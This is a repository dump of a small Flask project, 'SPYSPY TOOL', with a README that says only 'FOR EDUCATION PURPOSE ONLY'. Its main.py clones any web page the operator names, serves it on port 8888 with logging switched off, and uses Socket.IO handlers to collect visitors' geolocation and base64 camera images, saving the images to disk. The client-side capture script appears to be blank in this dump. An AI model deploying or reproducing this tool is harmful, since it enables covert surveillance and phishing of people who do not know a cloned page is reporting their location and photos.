├── static └── .gitkeep ├── .gitignore ├── README.md ├── requirements.txt ├── main.py └── templates └── index.html /static/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | Env 2 | \.env 3 | *.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | FOR EDUCATION PURPOSE ONLY -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4==4.12.2 2 | bidict==0.22.1 3 | blinker==1.6.2 4 | bs4==0.0.1 5 | certifi==2023.5.7 6 | charset-normalizer==3.1.0 7 | click==8.1.3 8 | Flask==2.3.2 9 | Flask-SocketIO==5.3.4 10 | h11==0.14.0 11 | idna==3.4 12 | itsdangerous==2.1.2 13 | Jinja2==3.1.2 14 | MarkupSafe==2.1.2 15 | python-dotenv==1.0.0 16 | python-engineio==4.4.1 17 | python-socketio==5.8.0 18 | requests==2.31.0 19 | simple-websocket==0.10.0 20 | soupsieve==2.4.1 21 | urllib3==2.0.2 22 | Werkzeug==2.3.4 23 | wsproto==1.2.0 24 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template 2 | from flask_socketio import SocketIO 3 | from dotenv import load_dotenv 4 | from bs4 import BeautifulSoup as bs 5 | import os, requests as r 6 | import logging, base64, time 7 | 8 | log = logging.getLogger('werkzeug') 9 | log.disabled = True 10 | 11 | load_dotenv() 12 | 13 | os.system("clear" if os.name == 'posix' else 'cls') 14 | 15 | print("[ BAKSOKUAH ]") 16 | print("[ SPYSPY TOOL ]") 17 | 18 | URL = input("\n[?] URL To Forward (using http/https): ") 19 | 20 | app = Flask(__name__) 21 | app.config['SECRET_KEY'] = 'salisganteng' 22 | app.logger.disabled = True 23 | socketio = SocketIO(app) 24 | 25 | @app.get('/') 26 | def index(): 27 | global URL 28 | html = r.get(URL).text 29 | soup = bs(html, 'html.parser') 30 | 31 | for a, b in [ 32 | ('script', 'src'), 33 | ('a', 'href'), 34 | ('link', 'href'), 35 | ('img', 'href') 36 | ]: 37 | for x in soup.find_all(a, {b: True}): 38 | x[b] = URL + x[b] 39 | 40 | 41 | return render_template('index.html', html = soup.prettify()) 42 | 43 | @socketio.on('location') 44 | def on_location(data): 45 | print("[!] Location :", data) 46 | 47 | @socketio.on('image') 48 | def on_image(data): 49 | image_bytes = data.split(',')[1].encode() 50 | image = base64.b64decode(image_bytes) 51 | file_path = f"static/{int(time.time())}.jpg" 52 | open(file_path, 'wb').write(image) 53 | print(f"[!] Image : http://127.0.0.1:8888/{file_path}") 54 | 55 | if __name__ == '__main__': 56 | print("\n[+] Server listening in port 8888") 57 | print("[+] Ready to spyspy!") 58 | socketio.run(app, host = '0.0.0.0', port = 8888, debug = os.environ.get('DEBUG', 'False') == 'True') -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | {{ html|safe }} 13 | 14 |
15 | 16 |
17 | 18 | 21 | 22 | 65 | 66 | 67 | --------------------------------------------------------------------------------